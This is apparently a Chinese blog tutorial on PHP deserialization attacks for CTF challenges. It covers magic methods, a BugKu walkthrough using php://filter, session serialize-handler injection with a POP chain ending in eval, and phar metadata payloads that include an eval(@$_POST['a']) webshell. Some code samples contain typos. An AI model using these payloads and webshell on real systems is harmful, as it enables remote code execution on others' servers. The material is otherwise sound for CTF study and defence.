玩命加载中 . . .

反序列化


反序列化

1.概念:

数据(变量)序列化(持久化),将一个变量的数据"转换为"字符串,但并不是类型转换,目的是将该字符串

存储在本地。相反的行为称为反序列化。序列化和反序列化的目的是使得程序间传输对象会更加方便。

  • 序列化:内存数据是“稍纵即逝”的;——通常, 程序执行结束,立即全部销毁。
    • 变量所存储的数据,就是内存数据;文件是“持久数据”;
    • 序列化就是将内存的变量数据,“保存”到文件中的持久数据的过程。简化就是:将内存变为文件;
  • 反序列化:
    • 就是将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程。简化就是:将文件变为内存。

2.相关函数

  • 序列化:serialize(mixed $value):string

  • 反序列化:unserialize(string $str):mixed

3.代码理解

//对于php中类的理解:
<?php
highlight_file(__FILE__);
class test_class
{
    //变量
    public $data = 'nihao';
    //function
    public function print_data()
    {
    echo $this->data;
    }
}
//创建对象
$object = new test_class();
//调用方法
$object -> print_data();
?>
  • 序列化理解:
//序列化结果理解:
<?php
highlight_file(__FILE__);
class user
{
    //变量
    public $age = 0;.
    public $name = ' ';
    #private $name2 ='leo';
    #protected $age2 = 19;
    //方法
    public function print_data( )
    {
    echo $this->name .'is'. $this->age. 'years old<br>';
    }
}
//创建对象
$usr = new user();
//赋值
$usr->age = 18;
$usr->name ='Leo';
//输出
$usr->print_data(); 
//输出序列化后的数据
echo serialize($usr);
?> 
//输出的结果:Leo is 18 years old
//序列化的结果:O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"Leo";}
//只要有序列和那个类模板就能恢复数据
  • 反序列化的理解:
//反序列化后获取变量
//需要模板对象和序列
<?php
highlight_file(__FILE__)
class user
{
    //变量
    public $age = 0;
    public $name ='' ;
    //方法
    public function print_data()
    {
        echo $this->name .'is'. $this->age. 'years old<br>';
    }
}
//重建对象
$usr = unserialize('O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"Leo";}');
//调用PrintData 输出数据
$usr->print_data();
?>
//反序列化后的结果:Leo is 18 years old

4.魔术方法

__construct(),  类的构造函数,创建对象时默认调用   new a();
__destruct(), 类的析构函数,清除对象时默认调用 (页面刷新完毕就清除对象)
__sleep(), 执行serialize()时,先会调用这个函数    serialize();
__wakeup(), 执行unserialize()时,先会调用这个函数  unserialize()
__call(), 在对象中调用一个不可访问方法时调用 
__get(), 获得一个类的成员变量时调用       $this->b
__set(), 设置一个类的成员变量时调用
__invoke(), 调用函数的方式调用一个对象时的回应方法

__toString(), 打印一个对象时,如果定义了__toString方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。调用echo时会默认调用__tostring方法
__callStatic(), 用静态方式中调用一个不可访问方法时调用
__set_state(), 调用var_export()导出类时, 此静态方法会被调用。
__clone(), 当对象复制完成时调用
__isset(), 当对不可访问属性调用isset()或empty()时调用
__autoload(), 尝试加载未定义的类
__unset(), 当对不可访问属性调用unset()时被调用。
__debugInfo(), 打印所需调试信息

//类似于c++类中的构造析构函数,默认存在,也可重写

5.题目demo:解题必须包含带有定义类的那个php以及传入序列化字符

//此代码为假的迷惑代码
<!--
$user = $_GET["txt"];
$file = $_GEE["file"];
$pass = $_GET["password"];
if(isset($user)&file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ";
}
-->
//
//这就是本题的陷阱,看起来先文件包含漏洞,如果用file传入flag.php,会被直接过滤掉。
//遇见file_get_contents($user,'r')该函数,尝试使用  txt=php://input/  去传入值,post数据 welcome to the bugkuctf,失败就用下面的方法:
//用file=php://filter/convert.base64-encode/resource=index.php 去查看真实的index的源代码,看过滤规则
//用file=php://filter/convert.base64-encode/resource=hint.php 去阅读hint.php的代码

//hint.php的内容为:

<?php
class Flag{//flag. php 
    public $file ;
    public function __tostring(){
        if (isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }
    }
}
?>
//该文件内容为定义了一个Flag类,里面包含一个变量,一个函数
//__tostring()这个方法,会在调用echo时自动调用
//此代码为真实的index.php的内容
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if (isset($txt)&&(file_get_contents($txt,'r')=== "welcome to the bugkuctf")){
echo "hello friend!<br>";
if (preg_match("/flag/" ,$file)){
    echo "现在不能告诉你flag哦 " ;
    exit();
    }else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}else{
    echo "you are not the number of bugku ! ";
}
//注意:此处有unserialize()函数,反序列化函数
//通过这个函数,将构造的序列化字符重新转换为类的变量值(就是hint.php中Flag类的那个file变量值)
//反序列化除了需要传入序列化字符外,还需要在该页面包含定义类的那个php文件,所以用传参file=hint.php

//答案出。

6.注意点:

  • private类型的变量:\x00 + 类名 + \x00 + 变量名

  • protect类型的变量:\x00 + * + \x00 + 变量名 (构造序列时,通过php软件直接生成就行,不要自己手写)

  • 可以将生成的序列,通过url转码,直接传url码也可以

  • 绕过对序列的正则匹配:序列中的数字加+号(+需要进行url转码)

  • php bug:当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()函数的执行,将表示对象个数的数字加一,其他不变

7.session 反序列化

  • PHP内置了多种处理器,用于存取$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
处理器 对应的存储格式
php 键名+竖线+经过serialize()函数反序列处理的值: `a
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值
php_serialize
(php> -5.5.4)
经过serialize()函数反序列处理的数组 a:1:{s:1:"a";s:3:"123";} a=123
  • 需要配置:session.serialize_handler

  • session.auto_start=off时,两个脚本注册session会话时使用的序列化处理器不同,就会出现安全问题。start=on时不会出现问题。

  • php_serialize生成的session,用php处理器去反序列化,会出现安全问题

  • 如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据

  • 思路及前提:题目中使用了两种序列化处理器,在php_s处理器页面构造序列,在PHP处理器进行反序列(加上|

  当存储是 php_serialize 处理, 然后调用时 php 去处理。
  如果这时候 注入 的数据是a=|O:4:"test":0:{}         
  那么session中的内容是a:1:{s:1:"a";s:16:" | O:4:"test":0:}";}
  使用php处理器对该序列进行反序列化,php会将竖线“|” 看作分隔符,将竖线后的进行反序列化
  竖线前的  a:1:{s:1:"a";s:16:" 在经过php解析后是被看成键名。
  我们可控制 竖线后的内容 进行反序列化
  后面就是一个实例化test对象的注入

  • 16年安恒的一道题目:(index.php class.php phpinfo.php)
    //题目主页的代码
    <?php

    ini_set('session.serialize_handler', 'php');

    require("./class.php" );

    session_start();

    $obj = new foo1();

    $obj->varr = "phpinfo.php";

    ?>
    //class文件
    <?php
    highiight_string(file_get_contents(basename($_SERVER[ 'PHP_ SELF'])));
    //show_source(__FILE__) ;
    class foo1{
            public $varr;
            function __construct(){
                    $this->varr->" index.php" ;
            function __destruct() {
                    if(file_exists($this->varr)){
                            echo "<br>文件" .$this->varr. "存在<br>";
                        }
                    echo "<br>这是 foo1的析构函数<br>" ;
            }
    }
    class foo2{
            public $varr;
            public $obj;
            function __construct(){
                    $this->varr = '1234567890';
                    $this->obj = nu1l;
            function __toString(){
                    $this->obj->execute();
                    return $this->varr;
            function __desctuct(){
                    echo "<br> 这是foo2的析构函数<br>";
            }
    }
    class foo3{
            public $varr;
            function execute() {
                    eval($this->varr);
            }
            function __desctuct(){
                    echo "<br>这是foo3的析构函数<br>" ;
            }
    ?>
  • phpinfo.php界面中获取的信息是 序列化处理器是 php_serialize

  • 解析思路:
    利用的时 foo3 中的execute()函数的 eval() 函数,该函数 execute() 会在 foo2 对象的 toString() 函数调用时被调用,调用 tostring() 函数需要使用echo函数,此时只能使用 foo1 的 __destruct() 去使用 echo (php在执行结束时就会自动销毁对象,调用__destruct函数)。其他的不行。所以,使用文件上传的那个代码,把序列传入phpinfo.php。进而传入到index.php界面中。

  • 使用phpinfo.php界面生成序列的方法:(使用文件包含的一个思路)下面的代码保存为html文件:

    //传递文件的代码:
    <form action="文件上传给的php页面" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat"/>
    <input type="file"  name="file" />
    <input type="submit" />
    </form>
    //本题中 “文件上传给的php页面” 是 那个phpinfo.php,就是将序列值传给phpinfo界面
  • 打开bp,浏览器访问该文件,用bp截取返回的结果,查看session是不是可以利用
    //配合class.php文件生成序列:

    //先生成三个对象
    $a = new foo1();
    $b = new foo2();
    $c = new foo3();

    //给对象赋值:
    $c->varr = "phpinfo();"  //用phpinfo测试
    $b->obj = $c;            //调用的是$c的exec函数
    $a->varr = $b;             //打印$b这个对象时,才会调用$b的__tostring函数
    echo ($a);                 //使用的是$a的 序列,因为最终的赋值  关系类似于:a(b(c))
                             //通过index界面的$obj = new foo1();语句也可以知道,需要用$a的序列


    //序列:
    //0:4:"foo1":1:{s:4:"varr";0:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";0:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

    //在该序列前加竖线 | ,然后使用上传文件的那个代码,
    //打开bp进行截取,浏览器访问该文件(就是把序列上传到phpinfo页面,让它用php_serialize处理器解析)
    //将ryat配合序列:  ryat|0:4:"foo1":1:{s:4:"varr";0:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";0:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}
    //这样,反序列完成,赋值成功

    //打开index页面,就执行eval函数了

8.phar反序列化

  • 可利用函数:
fileatime  filectime  file_exists  file_get_contents file_put_contents file  filegroup fopen
fileinode  filemtime  fileowner  fileperms  is_dir  is_executable is_file  is_link  is_readable
is_writable  is_writeable  parse_ini_file  copy  unlink  stat  readfile  
  //生成phar文件的php代码,注意要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件
  <?php
  class comrare{
      public $haha = 'comrarezzzzz';  //此处应该结合题目的class

  }
  @unlink('shell.phar');
  $phar = new Phar("shell.phar"); //后缀名必须为 phar
  $phar->startBuffering();
  $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  $object = new comrare();
  //$object ->haha= 'eval(@$_POST[\'a\']);';  //一句话
  $object ->haha= 'phpinfo();';
  $phar->setMetadata($object); //将自定义的 meta-data 存入 manifest //默认序列化操作
  $phar->addFromString("a", "a"); //添加要压缩的文件
  //签名自动计算
  $phar->stopBuffering();
  ?>
  //类似代码:
  <?php
  class AnyClass{
      var $output = 'echo "cck";';
      function __destruct()
      {
          eval($this -> output);
      }
  }
  $phar = new Phar('phar.phar');
  $phar -> stopBuffering();
  $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  $phar -> addFromString('test.txt','test');
  $object = new AnyClass();
  $object -> output= 'eval(@$_POST[\'a\']);';
  //$object -> output= 'phpinfo();';
  $phar -> setMetadata($object);
  $phar -> stopBuffering();
  ?>

9.寻找POP链

10.奇特思路

  • 使用php处理器进行序列化后,会自动生成带有竖线的序列(我们不可控。。怎么办)
  • 添加东西,使自带竖线后的序列不符合规则,那么,php处理器就会自动寻找下一个竖线(我们传入的竖线),后面的内容可控。哈哈哈哈

文章作者: kylin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kylin !
评论
  目录